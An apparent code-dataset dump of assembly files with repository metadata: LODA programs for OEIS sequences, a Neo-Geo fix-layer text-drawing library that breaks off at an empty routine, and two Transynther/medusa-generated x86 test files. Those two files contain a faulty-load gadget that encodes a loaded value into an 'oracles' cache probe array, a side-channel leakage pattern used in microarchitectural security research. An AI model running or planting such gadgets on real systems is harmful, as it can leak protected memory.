] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A075325: Pair the natural numbers such that the m-th pair is (r, s) where r, s and s-r are the smallest numbers which have not occurred earlier and also are not equal to the difference of any earlier pair: (1, 3), (4, 9), (6, 13), (8, 18), (11, 23), (14, 29), (16, 33), (19, 39), (21, 43), (24, 49), (26, 53), (28, 58), ... Sequence gives first term of each pair.
; 1,4,6,8,11,14,16,19,21,24,26,28,31,34,36,38,41,44,46,48,51,54,56,59,61,64,66,68,71,74,76,79,81,84,86,88,91,94,96,99,101,104,106,108,111,114,116,118,121,124,126,128,131,134,136,139,141,144,146,148,151,154,156,158,161,164,166,168,171,174,176,179,181,184,186,188,191,194,196,198,201,204,206,208,211,214,216,219,221,224,226,228,231,234,236,239,241,244,246,248
seq $0,75327 ; Sum of n-th pair in A075325.
div $0,3
| 129.666667 | 365 | 0.673522 |
072298bda6633aebfb653c68328e337f003eabfb | 394 | asm | Assembly | programs/oeis/088/A088673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/088/A088673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/088/A088673.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A088673: n mod A002024(n), where A002024 is "n appears n times": 1, 2, 2, 3, 3, 3, ...
; 0,0,1,1,2,0,3,0,1,2,1,2,3,4,0,4,5,0,1,2,3,1,2,3,4,5,6,0,5,6,7,0,1,2,3,4,1,2,3,4,5,6,7,8,0,6,7,8,9,0,1,2,3,4,5,1,2,3,4,5,6,7,8,9,10,0,7,8,9,10,11,0,1,2,3,4,5,6,1,2,3,4,5,6,7,8,9,10,11,12,0,8,9,10,11,12,13,0,1,2
mov $2,$0
add $0,1
seq $2,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2).
mod $0,$2
| 49.25 | 211 | 0.545685 |
8194dbd7670cc81d317f794cab79e5bb1651694c | 7,232 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_435_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_435_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_435_553.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1208b, %rsi
lea addresses_WC_ht+0xd5e3, %rdi
nop
nop
nop
nop
nop
and $59109, %rbp
mov $87, %rcx
rep movsb
nop
nop
cmp $49933, %r10
lea addresses_UC_ht+0x18ca9, %rsi
lea addresses_D_ht+0x10d8b, %rdi
nop
nop
nop
and $39503, %r14
mov $22, %rcx
rep movsl
nop
nop
nop
and $12105, %r14
lea addresses_WC_ht+0x7d8b, %r10
nop
nop
nop
nop
cmp $58544, %rcx
mov (%r10), %r14w
nop
dec %rcx
lea addresses_WC_ht+0x17d8f, %rsi
lea addresses_WC_ht+0xee0b, %rdi
nop
nop
nop
nop
dec %r12
mov $79, %rcx
rep movsb
nop
nop
nop
nop
xor $49247, %r14
lea addresses_WC_ht+0xa3ab, %r14
nop
nop
xor $35924, %rcx
movw $0x6162, (%r14)
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_A_ht+0x128b, %r10
nop
nop
nop
dec %rdi
movw $0x6162, (%r10)
nop
nop
nop
nop
add $2673, %r14
lea addresses_normal_ht+0xf68b, %rsi
lea addresses_UC_ht+0xdad3, %rdi
nop
sub $10147, %r11
mov $42, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x828b, %r11
nop
nop
sub %rsi, %rsi
mov (%r11), %r12d
sub %r10, %r10
lea addresses_D_ht+0xc8b, %rsi
lea addresses_normal_ht+0x51cf, %rdi
nop
nop
sub $43452, %r10
mov $11, %rcx
rep movsw
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_A_ht+0x1accb, %rsi
lea addresses_WT_ht+0xb443, %rdi
nop
nop
nop
nop
nop
add $57648, %r10
mov $5, %rcx
rep movsl
nop
sub $26983, %rcx
lea addresses_D_ht+0x1e60b, %rsi
lea addresses_normal_ht+0x10c8b, %rdi
nop
nop
nop
nop
nop
and %r11, %r11
mov $2, %rcx
rep movsb
nop
nop
nop
nop
nop
add $9287, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
push %rsi
// Load
mov $0xf83, %r9
sub %rdi, %rdi
movb (%r9), %dl
nop
xor $42984, %rsi
// Store
lea addresses_UC+0x115ab, %rbp
nop
and %rbx, %rbx
mov $0x5152535455565758, %rsi
movq %rsi, (%rbp)
sub %rbx, %rbx
// Store
lea addresses_normal+0x868b, %rbx
nop
nop
nop
and $65253, %r9
mov $0x5152535455565758, %r8
movq %r8, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
nop
nop
dec %r9
// Load
lea addresses_PSE+0x1561b, %rsi
nop
inc %r8
mov (%rsi), %ebp
nop
nop
inc %r9
// Store
lea addresses_A+0x1d78b, %r9
nop
sub $18304, %rbx
mov $0x5152535455565758, %r8
movq %r8, %xmm2
vmovups %ymm2, (%r9)
xor $55092, %rsi
// Store
lea addresses_UC+0x6a8b, %rbx
nop
add %r9, %r9
mov $0x5152535455565758, %rdx
movq %rdx, (%rbx)
nop
nop
nop
nop
sub $51576, %rdx
// Load
lea addresses_RW+0x12e8b, %rbx
nop
and %rdx, %rdx
vmovups (%rbx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
nop
nop
nop
dec %r8
// Store
lea addresses_WC+0x1f3ad, %rbp
nop
nop
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
vmovaps %ymm7, (%rbp)
nop
nop
nop
nop
nop
xor %rdi, %rdi
// Faulty Load
lea addresses_US+0x15e8b, %rdx
nop
nop
nop
nop
nop
inc %rbp
mov (%rdx), %esi
lea oracles, %rdx
and $0xff, %rsi
shlq $12, %rsi
mov (%rdx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'00': 435}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 24.268456 | 1,304 | 0.65224 |
fd8375c614135945d8929e8b61ce67fbf17a6afe | 6,504 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_1517_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_1517_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_1517_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x10437, %r8
nop
nop
nop
nop
nop
cmp $59340, %rdx
movups (%r8), %xmm4
vpextrq $0, %xmm4, %r11
nop
nop
nop
and $31387, %r8
lea addresses_normal_ht+0x5637, %r13
nop
nop
nop
nop
xor %r9, %r9
mov $0x6162636465666768, %r14
movq %r14, %xmm4
vmovups %ymm4, (%r13)
cmp $23974, %r9
lea addresses_UC_ht+0x308f, %rsi
lea addresses_A_ht+0x1b5ab, %rdi
nop
nop
nop
nop
nop
add %r11, %r11
mov $77, %rcx
rep movsw
nop
nop
nop
and %r8, %r8
lea addresses_normal_ht+0x3b6f, %rdi
nop
nop
inc %r11
movw $0x6162, (%rdi)
nop
nop
nop
inc %rcx
lea addresses_WC_ht+0xb9b7, %rsi
lea addresses_UC_ht+0x7637, %rdi
nop
sub %r13, %r13
mov $98, %rcx
rep movsw
nop
nop
nop
and $3642, %rdx
lea addresses_UC_ht+0x89b7, %r8
nop
nop
nop
nop
sub $26145, %rsi
movb (%r8), %r13b
nop
nop
nop
nop
xor %r11, %r11
lea addresses_normal_ht+0x17a37, %r8
nop
nop
add $38169, %rsi
movb $0x61, (%r8)
nop
nop
nop
xor $60037, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rbx
// Store
lea addresses_normal+0x16d8f, %r11
nop
nop
and %rbp, %rbp
mov $0x5152535455565758, %r8
movq %r8, %xmm1
vmovups %ymm1, (%r11)
nop
nop
nop
nop
nop
cmp %r13, %r13
// Store
lea addresses_RW+0x2757, %r8
nop
nop
nop
inc %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm0
movaps %xmm0, (%r8)
add $21822, %rax
// Store
lea addresses_WT+0x5737, %r13
nop
nop
nop
nop
add $51692, %rbx
movl $0x51525354, (%r13)
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_RW+0x19e37, %rbp
sub $8459, %rax
mov (%rbp), %r8w
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'32': 1517}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 35.156757 | 2,999 | 0.657595 |
10d8d8dc65c0c2a2fb21bf54170c249d6509b4c7 | 13,831 | asm | Assembly | src_68k/func/fix.asm | sheng007/freemlib-neogeo | 3044ede6531f80d371a1d9baaf7b30f57e548db3 | [
"0BSD"
] | 26 | 2015-01-05T16:27:43.000Z | 2021-07-10T17:54:34.000Z | src_68k/func/fix.asm | sheng007/freemlib-neogeo | 3044ede6531f80d371a1d9baaf7b30f57e548db3 | [
"0BSD"
] | 12 | 2015-11-26T22:17:09.000Z | 2018-06-03T11:47:45.000Z | src_68k/func/fix.asm | sheng007/freemlib-neogeo | 3044ede6531f80d371a1d9baaf7b30f57e548db3 | [
"0BSD"
] | 5 | 2015-02-26T03:23:53.000Z | 2021-03-17T07:42:37.000Z | ; freemlib for Neo-Geo - Fix Layer Functions
;==============================================================================;
; [Ranges/Valid Values]
; Combined Cell Location $XXYY, where XX=$0-$27,YY=$00-$1F
; Raw VRAM Address $7000-$74FF
; [Notes]
; Most of these functions change LSPC_INCR values, so it's up to the caller to
; reset LSPC_INCR after calling any function in this file.
; todo:
; * fix_Draw8x16 needs to be easier to use
; * ability to use multiple pages in a single string (currently limited to 1)
; * test fix_ClearAll
; * finish writing fix_Draw16x16
; * finish writing vram <-> 68k ram routines
; * routine for taking a "nametable" and writing it to the fix layer
;==============================================================================;
; fixmac_CalcVRAMAddr
; This macro is slightly complicated...
; 1) Determine if the param passed in is a combined cell location or VRAM address.
; 2) If it's a combined cell location, calculate the VRAM address; otherwise, do nothing.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; (Combined cell location format: $XXYY, where XX=$00-$27,YY=$00-$1F)
; Note: No sanity checking is done here with the ranges.
; (Output)
; d0 [word] output VRAM address
; (Clobbers)
; d5 Used for converting X/Y location to VRAM address
; d6 Used for calculating X coordinate
; d7 Used for calculating Y coordinate
fixmac_CalcVRAMAddr: macro
; 1) do check for vram addr or cell location (d0 >= $7000)
cmpi.w #$7000,d0
bge .fm_CVA_end\@ ; no need to process values $7000 or greater
; 2) Calculate VRAM address from cell location
move.w d0,d7 ; put combined cell location in d7
andi.w #$00FF,d7 ; mask for Y position
move.w d0,d6 ; put combined cell location in d6
andi.w #$FF00,d6 ; mask for X position
asr.w #8,d6 ; shift over
; convert to vram address
; VRAM Address from Cells = $7000 + (X*$20) + (Y)
move.w #$0020,d5 ; store $20 for multiplying
mulu.w d5,d6 ; do X*20
add.w d7,d6 ; add Y
addi.w #$7000,d6 ; add $7000
move.w d6,d0 ; = new value in d0 (other fix functions depend on this)
.fm_CVA_end\@:
endm
;==============================================================================;
; fix_UpdateTile
; Change the tile number and palette index of a fix map location.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] New palette index (pppp) and tile number (TTTT tttttttt)
fix_UpdateTile:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set vram address
move.w d1,LSPC_DATA ; change tile number and palette index
rts
;==============================================================================;
; fix_ChangeTile
; Change the tile number of a fix map location.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] New tile number ($000-$FFF)
; (Clobbers)
; d2 Used for reading from VRAM
fix_ChangeTile:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set vram address
move.w LSPC_DATA,d2 ; get current data
andi.w #$F000,d2 ; mask for palette
or.w d2,d1 ; OR with new tile data
move.w d1,LSPC_DATA ; change tile number
rts
;==============================================================================;
; fix_ChangePal
; Change the palette index of a fix map location.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] New palette number ($0000-$F000, only incrementing the first value)
; (Clobbers)
; d2 Used for reading from VRAM
fix_ChangePal:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set vram address
move.w LSPC_DATA,d2 ; get current data
andi.w #$0FFF,d2 ; mask for tile index
or.w d2,d1 ; OR with new palette
move.w d1,LSPC_DATA ; change palette index
rts
;==============================================================================;
; fix_DrawString
; Draws horizontal text to the screen manually. End code is $FF.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] Palette index and tile number MSB
; a0 [long] Pointer to string to draw
; (Clobbers)
; d2 Byte for writing
; d3 Used for temporary tile assembly
fix_DrawString:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set new VRAM address
move.w #$20,LSPC_INCR ; set VRAM increment +$20 (horiz. writing)
moveq #0,d2 ; set up d2
; set up d3
moveq #0,d3
move.w d1,d3 ; get pal. index and tile number MSB
lsl.w #8,d3 ; shift into upper byte of word
.fix_DrawString_Loop:
cmpi.b #$FF,(a0)
beq.b .fix_DrawString_End
move.b (a0)+,d2 ; read byte from string, increment read position
or.w d3,d2 ; OR with shifted pal. index and tile number MSB
move.w d2,LSPC_DATA ; write combined tile to VRAM
bra.b .fix_DrawString_Loop ; loop until finding $FF
.fix_DrawString_End:
rts
;==============================================================================;
; todo: fix_DrawStringJP (8x8, horizontal version)
; The major difference between this and fix_DrawString is the ability to draw
; dakuten and handakuten (Japanese modifier marks) "properly".
; This was originally coded for FM Studio, but for a more portable solution,
; the IDs of the tenten and maru (dakuten/handakuten) need to be configurable.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] Palette index and tile number MSB
; a0 [long] Pointer to string to draw
; (Clobbers)
; d2 Byte for writing
; d3 Used for temporary tile assembly
fix_DrawStringJP:
rts
;==============================================================================;
; fix_Draw8x16
; Draws "normal" 8x16 text to the screen horizontally. End code is $FF.
; "normal 8x16 text" means this font layout:
; A B C D <- top half
; A B C D <- bottom half
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [byte] Palette index
; a0 [long] Pointer to string to draw
; a1 [long] Pointer to character map
; (Clobbers)
; a2 Used for original string pointer
; d2 Byte for writing
; d3 Used for temporary tile assembly and VRAM address changing
fix_Draw8x16:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set new VRAM address
move.w #$20,LSPC_INCR ; set VRAM increment +$20 (horiz. writing)
movea.l a0,a2 ; copy original string pointer for later
; set up d3
moveq #0,d3
move.b d1,d3 ; get pal. index
andi.w #$F0,d3 ; mask for palette
lsl.w #8,d3 ; shift into upper byte of word
; draw top line
.fix_d8x16_TopLoop:
; check for end code
cmpi.b #$FF,(a0)
beq.b .fix_d8x16_FinishTop
moveq #0,d2 ; set up d2
move.b (a0)+,d2 ; read byte from string, increment read position
lsl.w #1,d2
move.w (a1,d2),d2
or.w d3,d2 ; OR with shifted pal. index
move.w d2,LSPC_DATA ; write combined tile to VRAM
bra.b .fix_d8x16_TopLoop ; loop until finding $FF
.fix_d8x16_FinishTop:
; prepare to draw bottom line
; change VRAM address
move.w d0,d3 ; get original VRAM position
addi.w #$01,d3 ; add +1 for next vertical line
move.w d3,LSPC_ADDR ; set new VRAM address
; reset original string pointer
movea.l a2,a0
; set up d3
moveq #0,d3
move.b d1,d3 ; get pal. index
andi.w #$F0,d3 ; mask for palette
lsl.w #8,d3 ; shift into upper byte of word
; draw bottom line
.fix_d8x16_BotLoop:
; check for end code
cmpi.b #$FF,(a0)
beq.b .fix_d8x16_End
moveq #0,d2 ; set up d2
move.b (a0)+,d2 ; read byte from string, increment read position
lsl.w #1,d2
move.w (a1,d2),d2
addi.b #$10,d2 ; bottom tile is $10 below top tile
or.w d3,d2 ; OR with shifted pal. index
move.w d2,LSPC_DATA ; write combined tile to VRAM
bra.b .fix_d8x16_BotLoop ; loop until finding $FF
.fix_d8x16_End:
rts
;==============================================================================;
; fix_Draw16x16
; Draws "normal" 16x16 text to the screen horizontally. End code is $FF.
; "normal 16x16 text" means this font layout:
; A A <- top left, top right
; A A <- bottom left, bottom right
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 Palette index
; a0 [long] Pointer to string to draw
; a1 [long] Pointer to character map
fix_Draw16x16:
